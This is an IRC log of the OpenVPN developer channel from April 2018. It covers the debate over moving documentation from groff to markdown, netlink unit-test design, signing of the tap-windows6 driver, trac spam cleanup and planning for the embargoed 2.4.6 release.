pandoc' was a breeze ... and did miracles on other projects needing it .... but yeah, it might be the pandoc dependency is hard to get right 08:38 <@cron2> ordex: that was a half-joke. if we rip out all these options, openvpn is "just another VPN client" and younger projects might actually be "better" then (faster, in-kernel modules, ...) - so that is actually the strong point of openvpn: you can make it do everything 08:38 <@ordex> hehe the swiss army knife :) 08:39 <@ordex> maybe I should just stop considering the openvpn CLI like a real UI and expect another component to be the one doing the real "userfriendly part" 08:40 <@dazo> cthuluh: Over the years we've had a few who wanted to help on the docs ... and when we pointed them to openvpn.8 ... and they disappeared again ... so I think it is better to have a source format which is much more editor friendly. markdown/rst are good as it is essentially plain text with not much magic macros around 08:40 <@dazo> (plus it renders fine in gitlab/github and similar tools) 08:40 < cthuluh> dazo: agreed 08:41 <@dazo> I just got across pandoc a long while ago and it worked nicely for me .... but it can be any other tool for me as well, as long as the source format is easy to work with 08:41 < cthuluh> I'm biased about mandoc, I tend to consider that manpages should be the primary source of documentation. A PoV that would be considered wrong for 99% of the projects out there :) 08:42 <@dazo> I agree to that ... but we need to consider the rendering in more places as well ... like web pages, so things appears in the google searches by the noobs 08:43 <@dazo> and it's so good to have some web pages to point at when helping out in #openvpn :) 13:51 < kitsune1> Something like man2html hosted somewhere? Unless everything is linked to one single source of man page (which is what devs keep up to date), things go stale fast. As is the case with a large chunk of pages in openpn.net. 13:57 <@dazo> again, that's groff based sources ... converting from .rst/.md to man to html sounds like a detour to me ... .md/.rst to html directly would be less error prone 14:01 < kitsune1> Yeah, but someone has to keep the .md/.rst up to date. The point is that the man page is the only authoritative source. 14:18 < tincantech> ordex: fatal: repository 'https://github.com/ordex/openvpn/tree/sitnl/' not found 14:21 < tincantech> forget it ..my mistake 15:28 <@dazo> kitsune1: right ... but when the groff files are horrendous and hard to keep up-to-date due to the formatting, it surely doesn't help to get more maintainers by keeping the that baroque format ;-) 15:29 <@dazo> so by moving to something far more readable, hopefully we can with time get more contributors on the documentation side as well 15:32 < kitsune1> As an old-school user I can only shout "don't touch my man page" :) 15:32 < pekster> It's not going anywhere, on the "upstream" origin of it. It's an addition of features to ease editor complexity, not the removal of documentation :P 15:33 <@dazo> kitsune1: we will have man pages ... it will just be generated from more editing friendly files 15:34 <@dazo> it's not just a plain joke that I compare editing ?roff files with this image: https://www.autoinfluence.com/wp-content/uploads/2016/02/horror-4.jpg 15:35 < pekster> An editing standard might be useful too if the conversion into formats (man, html, maybe even PDF) relies on certain assumptions. Heading levels to use, style guide, and so on may keep things looking nice as editor-interest (hopefully) goes up 15:36 < pekster> I've used md-to-html converters before, and while I never got that good with it, the operation tends to be reasonably painless 15:36 <@dazo> agreed ... and that will also help making new editors .... there are similar issues with the ?roff format as well ... there are more ways to achieve similar formatting, but not all are equally compatible on all platforms 15:37 < kitsune1> So man pages will no longer be the docs from the horse's mouth.. If all commits that require docs changes include updates to that whatever new and shiny doc format, all should be good. Anything that's not auto generated from a single source is going to go out of date. And serious devs would want to keep the man format as the primary, or so I thought.. 15:38 < kitsune1> That didn't come out right... I'm not at all saying those who shun man format are not serious :) 15:38 < pekster> Really, I thought that was info-pages ;) https://xkcd.com/912/ 15:38 <@vpnHelper> Title: xkcd: Manual Override (at xkcd.com) 15:38 < kitsune1> he he 15:39 < pekster> In reality, the best format to use is the one that's best for the project, so long as expected documentation is available after any post-processing 15:41 < kitsune1> Actually info is a case in point -- we have been using man for ages and that habit is not going to change. To keep anything updated consistent input and maintanence effort is required, so changing the primary format expecting an influx of documentation contributors may not work out well in the long run.. 15:42 < kitsune1> man/groff is structured enough that converting it to other formats like html should be painless enough. Why change something that works? 15:43 < pekster> Because it obviously doesn't; the manpage doesn't get updated when the reply to bugreports is "patches welcome" as noted above 15:43 < pekster> ?roff is indeed a crappy format to use, at least past the 80's 15:43 < pekster> IMNSHO 15:45 < pekster> groff-style "editors" are borderline WYSITUTWYG style editors, and it's a bunch of no-fun: https://xkcd.com/1341/ 15:45 <@vpnHelper> Title: xkcd: Types of Editors (at xkcd.com) 15:45 < kitsune1> But man page is the most authentic source of docs we have right now, isn't it? groff is not great if starting from scratch, but who wants to write html? 15:45 < pekster> Not write, convert to HTML. Obviously people want it as the manpage is online. man2html as a CGI is also very popular (source: any good result for manpages) 15:45 < kitsune1> I'm a vi guy :) 15:45 < pekster> markdown works well in vi 15:46 < pekster> :se ft=markdown wrap tw=80 et ts=8 nu 15:46 < kitsune1> dazo was referring to changing the primary format from man to something else. Or so I thought. 15:46 < kitsune1> yep 15:46 < pekster> Right. None of that stops you from using vi to edit (say) markdown sources, or getting a manpage as the result of an md-to-man conversion, or preserving html pages via md-to-html converstion, and so on 15:47 < pekster> groff sucks, and it's scared away editors. That's bad for openvpn 15:48 < kitsune1> Well, if there are editors scared away by groff with intimate knowledge of openvpn to update the primary docs, well its worthwhile changing the format.. 15:48 < pekster> Nevermind intimate knowledge; markdown makes it easy for joe-blow to submit a PR to fix something as trivial as a typo 15:49 < pekster> A PR to fix is much easier to deal with from a developer standpoint than a bugreport to fix the groff that no one but a small handful of devs even care to look at; that's a waste of expert developer time 15:50 < kitsune1> Oh, then I missed the whole premise.. I was more fixated on things like options missing documentation or subtle errors in docs etc. that cannot be fixed by average joe.. 15:52 < pekster> Sure, and I think most core-devs would be just fine with any sane format. I can't speak for others, but I know _I_ would prefer markdown to groff :P 16:04 <@dazo> pekster is spot-on :) 16:04 <@cron2> well... I haven't heard the argument "here's a patch for the sources, but I cannot do manpage updates because of *roff" before, to be honest 16:04 <@cron2> usually people just forget the docs 16:05 <@dazo> We've asked people on #openvpn from time to time to contribute fixes .... and most of them responded with "wtf is this file?" 16:05 <@cron2> what *I* will certainly refuse is "replace man with info", because I totally hate info as a user... for my other project, I use man + one of the man-to-html converters, which works ok-ish 16:05 <@dazo> lol 16:05 <@dazo> no, info needs to die 16:05 <@cron2> people could just contribute text and leave the formatting to whoever feels like it 16:05 <@dazo> yeah ... and most of the time nobody picked up that ball 16:05 <@cron2> but anyway, if we come up with a reasonable alternative that produces working manpages, good enough 16:06 <@dazo> just think about the latest macro tweak I had to add to allow multiple option lines for a section .... 16:07 <@dazo> "You need to use .TQ instead of .TP" 16:07 <@dazo> or whatever it was 16:07 < pekster> I think the big work is in finding a good converter for whatever the "preferred" format is (I slightly favor markdown, but anything easy to use for all with a voice should suffice) and then documenting what the "project style" required to support ongoing maintenance taking into account the converter needs 16:07 <@cron2> I'm aware. I wonder if for example .md is so complete that we'll never bump into "oh, I want this to look like *that*, how can I tweak it?" - "edit the source of the conversion tool"... 16:08 <@dazo> yeah, that's a valid concern 16:08 <@dazo> we won't change over night ... and I think we need to have some kind of sane formatting guidelines as well 16:08 <@cron2> yep 16:09 <@dazo> but my experience with pandoc was in this regard reasonable, it took fairly complex stuff and made it look nice in both groff and html with just a parameter change 16:09 <@dazo> but of pandoc is horrendous for packages, we need need to look at other options before deciding 16:09 <@dazo> s/ of / if / 16:22 < kitsune1> TBH, someone who cant make a diff for a typo in openvpn.8 because of the format is not going to contribute anyway.. Not saying an easier to edit format for docs is not a worthy goal, but don't assume that'll bring contributors. 19:10 <@ordex> tincantech: ? 19:10 <@ordex> it's a github URL, not a git repository 19:11 <@ordex> tincantech: if you open it, then you can get the git repo (https://github.com/ordex/openvpn.git) 19:11 <@vpnHelper> Title: GitHub - ordex/openvpn: OpenVPN is an open source VPN daemon (at github.com) 19:12 < tincantech> ordex .. yeah .. 19:13 <@ordex> :P 19:13 <@ordex> ah you realized that already 19:13 <@ordex> sorry 19:14 < tincantech> np 19:14 < tincantech> i am cuous to see how i works 19:16 <@ordex> :) 19:16 <@ordex> yeah 19:24 < tincantech> ordex: i put myself on half-perma-ban from #-dev cos .. u know .. but i am doin me best to keep up ! 19:24 <@ordex> :D 19:25 < tincantech> you old doog 19:25 < tincantech> :) 19:26 * tincantech sees a squirrel! 19:30 < tincantech> so long as the man page is honest and reasonably accurate .. but most importantly up-to-date ,, i ok wwith it 19:32 < tincantech> slipping shit in that changes other shit .. not so sure of v4/6 eg 19:35 < tincantech> f.e. do connection blocks <connection> over-ride v4/v6</> ... per remote ? 19:37 < tincantech> on time-out ..... 19:41 < tincantech> nothing .. 19:41 < tincantech> i get zip 19:42 < tincantech> ;) 19:43 <@ordex> uhm? 19:44 < tincantech> chill man 19:44 <@ordex> hehe 19:45 < tincantech> basically .. do <connection> blocks "out rank" v4/v6 .. or not ? 19:46 < tincantech> i am not able to test this .. absolutely 19:48 * tincantech "they know what you mean" 19:48 <@ordex> what is "v4/v6" ? 19:48 <@ordex> the protocol? udp6/udp4 ? 19:48 < tincantech> ip 19:48 < tincantech> exactly 19:49 <@ordex> think so, no? 19:49 <@ordex> like multiple remote lines would do 19:49 < tincantech> well that is the question --- Day changed Sat Apr 07 2018 06:05 -!- slypknot is now known as tincantech 09:34 <@dazo> kitsune1: I disagree on the "not going to contribute" ... as long as they can pastebin their change, that's a beginning. Or we can look at allowing editing man pages via wiki pages or similar, which we can extract the diff's from ... all which are not going to be much easier with a friendlier format --- Day changed Sun Apr 08 2018 17:25 < slypknot> ecrist: is "touch" too not posix ? ;) --- Day changed Mon Apr 09 2018 03:46 <@cron2> hurmph... FreeBSD is not liking me today... tun0 ends up in "IFDISABLED", so "no ipv6" 03:46 <@cron2> older box with same FreeBSD version "that has always worked" still works 03:48 <@cron2> a-ha, now you need ipv6_activate_all_interfaces=YES, otherwise an interface will be auto-disabled by /etc/network.subr on bring-up... 03:49 <@cron2> why it's doing this for a tun0 that is not even mentioned anywhere... 04:44 <@cron2> ecrist: could I bug you again to do an openvpn-devel port bump? 04:44 <@cron2> I'd like to see ciphers in "status"... 07:55 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 07:58 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 07:58 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:03 -!- slypknot is now known as tincantech 09:03 <@ordex> cron2: do you have any suggestion about how I could structure the netlink unit-tests? something like: create a dummy interface; add an ip; run "ip addr s dev iface | grep $something-specific" and ensure that the output is not empty? but not sure that bash commands will play well with our unit_tests infrastructure 09:28 <@cron2> ordex: if you look at t_client.sh/.in, this is a bog standard shell script 09:28 <@cron2> just not run under cmocka 09:39 <@ordex> yeah, do you think we can mix bash and cmoka? anyway, I will start by checking if t_client.sh can give me some hints 09:51 <@cron2> I'm sure it can be done, somehow, but I have far too little cmocka know how to say "how so" 21:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 21:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 21:18 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Tue Apr 10 2018 01:51 <@cron2> mornin 02:00 <@ordex> ayo 03:37 <@ordex> cron2: have you ever asked (or are you aware of anybody else that has) for any patch that ExpressVPN may have applied on openvpn2 before redistributing it in their own apps? 04:19 <@cron2> ordex: never heard of ExpressVPN, so "no" :) 04:19 <@ordex> :) ok 04:20 < openvpn-slack> <johan> suuuee theeeeemmmm j/k 09:27 < eworm> ordex: Building you sitnl without --enable-iproute2 I get: configure: error: route utility is required but missing 09:27 < eworm> That should be handled with netlink as well, no? 10:00 <@ordex> eworm: interesting I built it here and it worked and yes, no --enable-iproute2 means using netlink 10:00 <@ordex> I will double check again 10:10 <@ordex> cron2: but..iproute2 vs nettools is not a linux only thing right? the switch works for every OS except WIN32, right? 10:10 <@ordex> (at least this is what I grasp from configure.ac even though I didn't know iproute2 existed on SOLARIS or OPENBSD) 10:47 <@cron2> --enable-iproute2 is ignored on anything but Linux, I think 10:48 <@cron2> it might set #define ENABLE_IPROUTE2 or whatever it is, but only #ifdef TARGET_LINUX cares for that define 10:51 <@ordex> alright 10:52 <@ordex> this is why in the configure I couldn't see any difference 10:53 <@ordex> I sent an email to eworm to try my latest commit to fix that 11:55 < tincantech> i am trying to get openvpn working on a RPi under qemu (for Windows!) .. got all the way there and then openvpn segfaults .. :'( 13:44 <@cron2> RPi+qemu+windows does not compute... 14:18 < tincantech> hehe .. qemu for windows : https://qemu.weilnetz.de/w64/ .. with stiff warning about "serious" bugs 14:18 <@vpnHelper> Title: QEMU for Windows – Installers (64 bit) (at qemu.weilnetz.de) 14:24 < tincantech> apparently supporting this : https://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager-intel-haxm 14:24 < tincantech> untested so far 19:17 < tincantech> RPi openvpn --version 2.2.1 .. but it does at least work this time .. 19:18 < tincantech> although .. tls errors are abundant 19:22 < tincantech> and it works :) 19:23 < tincantech> how does builtbot sound on a Windows-qemu rpi ? ;) 19:26 < tincantech> answer: like a rusty air-con outlet ! 19:32 < tincantech> ah well .. no tun device .. does not quite work 23:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 23:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:22 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Wed Apr 11 2018 01:54 <@cron2> good morning 01:54 <@cron2> tincantech: 2.2.1?? that is how many decades old? 01:54 <@cron2> mattock: won't make a meeting today - already in a different (work-related) meeting at that time 02:17 <@mattock> hi 02:17 <@mattock> I'm most fine with no meeting today 02:17 <@mattock> arrived from Stockholm early in the morning rather sleep-deprived 02:46 <@ordex> cron2: mattock: not sure we have anything urgent to discuss? 03:21 <@mattock> 2.4.6, but not sure if discussing it helps 03:21 <@mattock> :P 04:25 <@dazo> ordex: regarding nettools ... iirc, I believe that's deprecated on Linux only ... not even sure if iproute2 is available on BSDs, due to some Linux kernel specific netlink features 04:26 <@dazo> might be BSDs are also replacing the old ioctl() based nettols with something better ... and it might be the user experience there didn't change as much 04:27 <@dazo> but I vaguely remember that netstat is not available on BSD .... which is part of nettools 04:34 <@ordex> dazo: yeah, i don't think iproute2 is supported anywhere other than Linux. My comment was based on the configure.ac script where it seems we have no check to prevent people from enabling iproute2 on non-linux systems - but nothing major 04:36 <@dazo> ahh, right ... no, we allow people to shoot themselves in the foot and then chop it off afterwards ... we don't care :-P 04:38 <@ordex> right :D 05:49 <@ordex> dazo: do you have any experience with bash+cmoka? to implement the sitnl unit tests I'd like to basically be able to run some pure 'ip' commands from a sort of bash script and then compare the result with what a binary using sitnl would produce...and I am trying to figure out where to start :) 05:58 <@dazo> cmoka is strictly C related ... it's just a test framework for unit testing of C functions 05:58 <@syzzer> ordex: interesting question, haven't tried that with cmocka yet 05:59 <@syzzer> sounds more like an integration test kinda thing 05:59 <@ordex> yeah 05:59 <@ordex> I am wondering if I should just write yet another big bash script 05:59 <@ordex> and run the unit-test inside an dcreate some output to compare with the 'ip' commands 05:59 <@dazo> you would probably need to spawn out some shell processes running ifconfig or ip or whatever to verify the result 06:00 <@dazo> yeah that's a better approach 06:00 <@dazo> simpler 06:00 <@ordex> yeah, didn't want to do that in C, sounded overwhelming 06:00 <@ordex> yeah 06:01 <@dazo> you could build the unit tests as python modules, where you can use python-ethtool or similar interfaces to compare results ......... 06:01 * dazo ducks 06:02 * ordex looks at the sky 06:02 <@dazo> :-P 06:02 <@dazo> the sky has no limits! 06:02 <@ordex> :D 06:02 <@ordex> true! 06:05 <@dazo> ;-) 06:52 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 256 seconds] 07:10 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:10 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:10 <@cron2> *sigh* 07:10 <@ordex> ? 07:10 <@cron2> two redundandt network cards in a channel, but a nic driver that is too stupid to failover in less than 20 minutes... and then a switch power outage 07:10 <@ordex> :P 07:30 <@plaisthos> that sounds like no lacp 07:30 <@plaisthos> In my experience all the other failovers don't really work 08:14 <@ordex> cool, eworm has built my last sitnl branch with the new changes and everything is working fine[tm] 08:15 < eworm> ordex: yes, and we need something like this for iproute2/sitnl: 08:15 < eworm> https://github.com/eworm-de/openvpn/commit/c14f2a573b68e53609567a3f19094355892d0ad1 08:15 <@vpnHelper> Title: systemd: run openvpn with dedicated user · eworm-de/openvpn@c14f2a5 · GitHub (at github.com) 08:17 <@ordex> eworm: yeah, this looks fairly reasonable 08:17 <@ordex> eworm: what is this function: sd_notify(0, "READY=0") > 0 ? 08:17 <@ordex> I mean, the comment is clear, but what is it exactly? 08:18 <@ordex> I see it's used somewhere else. I should probably look it up 08:22 < eworm> ordex: sd_notify() notifies systemd whether or not the service is ready (with "READY=1") and has finished initializing 08:23 <@ordex> oh I see 08:23 <@ordex> so it's coming from systemd specific c-binding/library 08:23 < eworm> we use it to test whether or not the process is running as a systemd service 08:23 <@ordex> yeah 08:23 < eworm> READY=0 does not change the state, but we are interested in return code 08:25 <@ordex> yap, that makes sense. I was just curious who was providing sd_notify(). I admit I was lazy as I could have just searched :P 09:24 <@dazo> ordex: man sd_notify ;-) 09:32 <@dazo> eworm: when looking at the man page now .... I spot "Example 4" towards the bottom .... 09:32 <@dazo> Example 4. Store a File Descriptor in the 09:32 <@dazo> Service Manager 09:32 <@dazo> To store an open file descriptor in the 09:32 <@dazo> service manager, in order to continue 09:32 <@dazo> operation after a service restart without 09:32 <@dazo> losing state use "FDSTORE=1": 09:32 <@dazo> sd_pid_notify_with_fds(0, 0, "FDSTORE=1", &fd, 1); 09:33 <@dazo> couldn't we use that to avoid the chroot issues? 09:38 < eworm> dazo: To have the socket inside chroot for communication with the service manager? 09:38 < eworm> Good question... Something to be evaluated. 09:39 <@dazo> right 12:29 <@cron2> plaisthos: it's "to two different switches, and no MLAG", so it works by carrier detection active/passive - that is normally good enough for "switch boom", but this particular driver (FreeBSD/Sparc64/broadcom) is stupid 13:06 <@dazo> it's an optimistic driver ... "It will come back, no rush, it will come back ... eventually" :-P 13:34 <@cron2> it will give up after 30 minutes or so, so if the switch dies for good, eventually network will come back 13:34 <@cron2> today we just had a power hickup, so after 5 minutes the switch was back and the driver still didn't notice anything funky 13:35 <@cron2> but that box is going to be retired "soon" anyway. That is, "as soon as I can find time to migrate my family mail server, my public web stuff, and a few other things" 13:35 <@cron2> like, "when the box dies of old age, and then all in a rush" *roll eyes* 13:35 <@cron2> (the new box is vmware ESX which very nicely handles "multiple switch links, and fast failover") 13:36 <@cron2> ((I bought a used HP server for a very nice price and it came with an ESX license...)) 21:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 21:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 21:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Thu Apr 12 2018 05:08 <@cron2> dazo on a cleanup rampage 05:20 <@cron2> so, my good deeds for today are done, now other people need to do work :) 06:08 <@cron2> mattock: how's tap driver building coming along? 06:37 <@mattock> cron2: it is not going anywhere at least today 06:37 <@mattock> but I may have to bite the bullet tomorrow 06:38 <@mattock> I also gained access to the MS developer dashboard thingy, so we have hope if signing with the EV dongle no longer works 06:38 <@cron2> mattock: at least something :) 06:54 <@ordex> dazo: what was the name of the mailman paid service you mentioned in the past? 08:47 <@mattock> ordex: not sure about dazo, but I mentioned mailmanlists[.eu] 08:48 <@ordex> oky thanks 08:57 <@ordex> btw mbedTLS 2.8.0 is out already 08:57 <@ordex> apparently 2.7.0 was not tasting good 08:57 <@ordex> :P 08:57 <@ordex> 2.7.x* 11:08 <@cron2> ouch... my english language module wasn't booted this morning when I wrote the commit message for the CVE patch... 12:13 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 12:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 12:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:35 <@vpnHelper> RSS Update - tickets: #540: iOS: Incorrect processing of contents in OpenVPN Connect <https://community.openvpn.net/openvpn/ticket/540> --- Day changed Fri Apr 13 2018 02:02 <@cron2> mattock: what are our rules for tap-windows6 committing? Github seems to think I have write access :-) (it's offering me a "Merge pull request" button) 02:21 <@mattock> cron2: I think we have the same policy as for OpenVPN 2 02:22 <@mattock> except for buildsystem changes and such 02:22 <@mattock> btw. I just tested signing the tap-windows6 and the cross-cert is valid until 2021 02:22 <@mattock> so I _think_ we're good, but I have not yet packaged or tested the driver 02:22 <@mattock> the process is convoluted (https://community.openvpn.net/openvpn/wiki/BuildingTapWindows6) so it takes a lot of time 02:22 <@vpnHelper> Title: BuildingTapWindows6 – OpenVPN Community (at community.openvpn.net) 02:23 <@cron2> that sounds good :-) - could you bounce the freshly built+packaged driver (as soon as this is done) at your collegues to give it a good beating? ;-) 02:23 <@cron2> I'll send a new version of my patch then which updates the minor version (+copyright) as well... 02:25 <@mattock> yes 02:28 <@cron2> so, coming back to tap-windows6 - since it's not my patch but I've ACKed it, I can just merge it? 02:29 <@cron2> (how do I add the acked-by: at "click on the merge button" time?) 03:10 <@mattock> cron2: yes 03:10 <@mattock> there are some signing challenges as expected with tap-windows6 03:10 <@mattock> I will have to continue the work in some hours 03:27 <@cron2> mattock: we seem to have a spam problem in trac again 03:27 <@cron2> "Playgame123" is spamming quite a few tickets that I can see (and an unknown number I cannot), for example #900 06:23 <@cron2> from the "mikrotik and openvpn is hurtz" department... https://twitter.com/dehexadop/status/984726333858119681 06:24 <@mattock> cron2: ok 06:25 <@mattock> I will mark them as spam 06:25 <@mattock> that will train the filter a bit more 06:27 <@cron2> thanks 06:29 <@mattock> there are several spammers at work 06:29 <@mattock> I will check all the entries some of which have been camouflaged as ham 06:31 <@mattock> fortunately the bayesian filter did a fairly good job in catching most of the edits 06:31 <@mattock> otherwise we might have a real spam problem in our hands 06:38 <@ordex> lol @mikrotik 06:38 <@ordex> I wonder what "optimization" they implemented that got rid of the cert verification :D 06:44 <@mattock> ok trained 07:48 <@vpnHelper> RSS Update - tickets: #1052: iOS - disappearing login fields when trying to enter username/password <https://community.openvpn.net/openvpn/ticket/1052> 07:49 <@mattock> cron2: https://build.openvpn.net/downloads/temp/tap-windows-9.21.3-I601.exe 07:49 <@mattock> tested on Win2012r2 and Windows 7 and "seems to work" 07:50 <@mattock> the driver is signed with the EV dongle and the installer with a generic EV cerficate 07:50 <@mattock> I don't have any Windows 10 boxes to test on, and Vagrant-based boxes are failing to "vagrant up" for me 08:31 <@ordex> interesting....creating a unit-test for a module using msg() can be quite hard.. 08:33 <@ordex> I guess I should make the module more modular and avoid any msg() and create a unit-test around that :/ 08:51 <@cron2> mattock: nice. Where does the "9.21.3" version number come from? 08:53 <@cron2> ah, version.m4 08:54 <@cron2> should we try to keep that in sync somehow with the TAP_DRIVER_MAJOR_VERSION/TAP_DRIVER_MINOR_VERSION defines in src/constants.h? This reads "4.2" right now... 09:41 <@mattock> cron2: I wil provide a PR that changes version.m4 09:41 <@mattock> later 09:42 <@mattock> I'm not entirely sure where the data in src/constants.h would show up 09:43 <@mattock> version.m4 are reflected in the .inf file and thus in driver details 09:52 <@cron2> I think src/constants.h might be visible inside openvpn in the ioctl() call - or not at all 09:53 <@cron2> I have amended my patch to bump version.m4 and constants.h, so you do not need to do anything :) - I'll send a v3 with these changes as soon as we have some test results 12:10 <@cron2> what are people smoking... 12:12 <@ordex> talking about the <lz4.h> thing ? 12:14 <@cron2> nah, this is sort of "not important, but cleaning up inconsistencies, so, why not" 12:14 <@cron2> the "can I have the new tap driver with a 2.3. bundle on win10, please!" mail 12:14 <@cron2> by "Marvin" 12:15 <@ordex> ah yeah, landed now in my inbox with your reply 12:17 <@cron2> whyyyyy 12:17 < slypknot> indeed ! 12:17 < slypknot> (different Whyyyy ! tho) 12:18 <@ordex> I am sure he will com up with some funny reason :] 12:18 < slypknot> never ever do a winblows-smike-up-ter-arse on a Friday 13th ! 12:19 <@ordex> meh, it's Saturday already 12:19 <@ordex> :P 12:23 < slypknot> i just got the M$ friday 13th Arp 2018 fuck your system for good upgrade .. power supply went tits up .. wifi is gone ! .. ethernet is shakey .. hyperv is being help hostage by a rogue vswitch i CANNOT delete .. the wifi will now not enable at all .. sure you can disable ethernet in the bios but not wifi (wonder why) 12:23 < slypknot> and now i have M$ "Poeple" what ever that is .. and a fucking shopping trolley ! 12:23 < slypknot> shiopping backet .. 12:24 < slypknot> you know 12:24 < slypknot> and network connections is NO LONGER network connections 12:26 < slypknot> at boot i got "do you really want to reboot other people may loose data" 12:27 < slypknot> at boot .. on a home comuputer 12:30 < slypknot> and now another wave of purte bullshit before you can even get to uninstall screen 12:32 < slypknot> M$ are truely taking the piss now .. 12:32 < slypknot> i think Openvpn should officially STOP supporting Winndopws .. and see them flock to Linux 15:28 < slypknot> it seems windows deleted the wifi password .. maybe due to insecure windows shit .. changed wfpass --- Day changed Sat Apr 14 2018 00:43 <@ordex> y0 03:00 < ssbarnea> Can someone review https://community.openvpn.net/openvpn/ticket/960 ? I would like to know if this feature would be desired as I don't want to spend a lot of time implementing it to find out that nobody wants it in. 03:00 <@vpnHelper> Title: #960 (auth-user-pass should execute file if exec bit is set) – OpenVPN Community (at community.openvpn.net) 03:10 <@cron2> if nobody voiced interest, maybe that speaks for itself 03:11 <@cron2> I'm always a bit wary of magic surprises ("this is a file, unless it is +x, then it is executed"), especially with recent experiences with samba-shares where almost everything ended up having an x bit nobody asked for 03:12 <@cron2> I could be tempted to review something that says "auth-file !foo.sh" or "... foo.sh|" or something else that has a well-defined meta-character that makes it obvious *in the config file* "run this as program" 03:14 <@vpnHelper> RSS Update - tickets: #1053: openvpn server does not respect 'port 11194' <https://community.openvpn.net/openvpn/ticket/1053> 03:14 <@ordex> I agree with cron2: if there has to be a "behaviour definition" better to have it defined by some directive in the config (i.e. the "!" prefix) rather than letting it be some external file attribute 03:15 <@ordex> actually, if we supported bash, we could use the <(cmd) syntax :P 03:15 <@ordex> where the output of cmd becomes a file hehe 03:16 <@ordex> uhm this ticket is interesting 04:34 <@cron2> ordex: don't overdo it :) 04:41 <@ordex> :) 04:51 <@cron2> mattock: so what's the release plan for next week? My work is mostly done :) --- Day changed Sun Apr 15 2018 09:39 <@ordex> slypknot: about your reply to the iOS post: if it was a tls-auth problem, the issue would show up immediately, not after exchanging some packets, no? because a failure in tls auth prevents any packet to be exchanged at all, no? 09:40 <@ordex> slypknot: and another note. Unfortunately connect for iOS supports tls-auth without key-direction...due to some backward compatibility thing.. (yes this fooled myself several times too) 12:19 <@vpnHelper> RSS Update - tickets: #1054: on-link prefix is *sometimes* not properly installed (with iservice on win7) <https://community.openvpn.net/openvpn/ticket/1054> --- Day changed Mon Apr 16 2018 02:08 <@mattock> cron2: I will know more soonish when I have time to check my emails 02:09 <@mattock> actually just checked 02:09 <@mattock> I have not received any tap-windows6 test reports from our internal mailing list 02:09 <@mattock> I think I'll have to announce the installer on openvpn-devel 02:20 <@mattock> ok sent 02:21 <@mattock> I think "late this week" is reasonable if we don't get any "the new tap-windows6 driver does not work for me" reports 02:25 <@cron2> ok. It works for me, on win7, at least :-) (it did uncover at least one openvpn bug, but that was just me looking more closely, not the tap driver itself) 02:26 <@cron2> for the release, you need to agree on my version number changes and merge the tap-windows6 fix, and then I can do a tagged 2.4.6 tree in your repo on build on fairly short notice 02:29 <@cron2> mattock: what is in 9.21.3? is this just "new signature" or is this "with the ipv6 length check fix"? 02:55 <@mattock> the fix is there 02:55 <@mattock> I'm primarily interested in testing the signature 02:56 <@mattock> that is the one that will fail miserably (or not) 02:56 <@mattock> we can definitely up the version to 9.22.1 as per your patch 03:04 <@ordex> any chance that " [Openvpn-devel,v4] ifconfig-ipv6(-push): allow using hostnames " would get some love? :) in pw it has 1-1-1, a pretty good score I think :D 03:04 <@cron2> ordex: yes, but not before 2.4.6 release 03:04 * cron2 needs to go through everything in patchwork and either apply, refuse, or poke someone to review 03:04 <@ordex> yeah, I didn't even consider it for 2.4 03:05 <@cron2> nah, it's more a "focus" thing - we need to get 2.4.6 done properly, and then "return to the other work items" 03:06 <@cron2> embargo releases are really annoying due to more complicated interactions - I can not just collect & merge all patches, and then at some point add the tag and push, but that need to be done in one go, when mattock is around 03:06 <@cron2> and the tap driver fix is complicating things even more 03:22 <@ordex> btw, what does "embargo release" actually mean? 03:22 <@ordex> ah 03:22 <@ordex> like the news 03:23 <@cron2> ordex: well, "do not tell anyone what's in there, until it's too late" :) 03:23 <@ordex> yeah :) 03:32 <@mattock> cron2: regarding pushing: you can definitely push to the buildbot repo 03:32 <@mattock> that's not public yet I can easily access it 03:33 <@mattock> plus we get build testing as well 03:37 <@cron2> good 06:10 <@cron2> meeting wednesday? I think it would be good to synchronize on release time (briefly) 06:42 <@syzzer> +1 06:59 <@ecrist> cron2: I'll try to get the port bump done today. Final week at current job, so a bit busy. 06:59 <@cron2> ecrist: cool, thanks 07:03 <@mattock> cron2: agreed 11:05 <@vpnHelper> RSS Update - tickets: #1055: How Can You Buy Essays Over Internet <https://community.openvpn.net/openvpn/ticket/1055> 17:53 <@ecrist> cron2: pushed a patch. Not sure when it will get committed. 17:53 <@ecrist> https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=227567 17:53 <@vpnHelper> Title: 227567 security/openvpn-devel: Update to 2018-15 snapshot [maintainer] (at bugs.freebsd.org) --- Day changed Tue Apr 17 2018 01:41 <@cron2> ecrist: nice 02:03 <@mattock> it seems that the new tap-windows6 driver (or rather, it's signature) is solid 02:04 <@mattock> release on thu/fri is probably very doable 02:14 <@cron2> this is great 02:14 <@cron2> shall we aim for "I tag and push on thu afternoon"? 02:46 <@mattock> sounds reasonable 03:24 <@cron2> good 04:03 <@ordex> mattock: I received your "Excellent.." email 6 times :D 04:10 <@cron2> so did I, seems it was important 04:14 <@ordex> yeah 05:53 <@mattock> I think the email server sent it several times, as I sure did not 05:53 <@mattock> it's hosted exchange so that would not 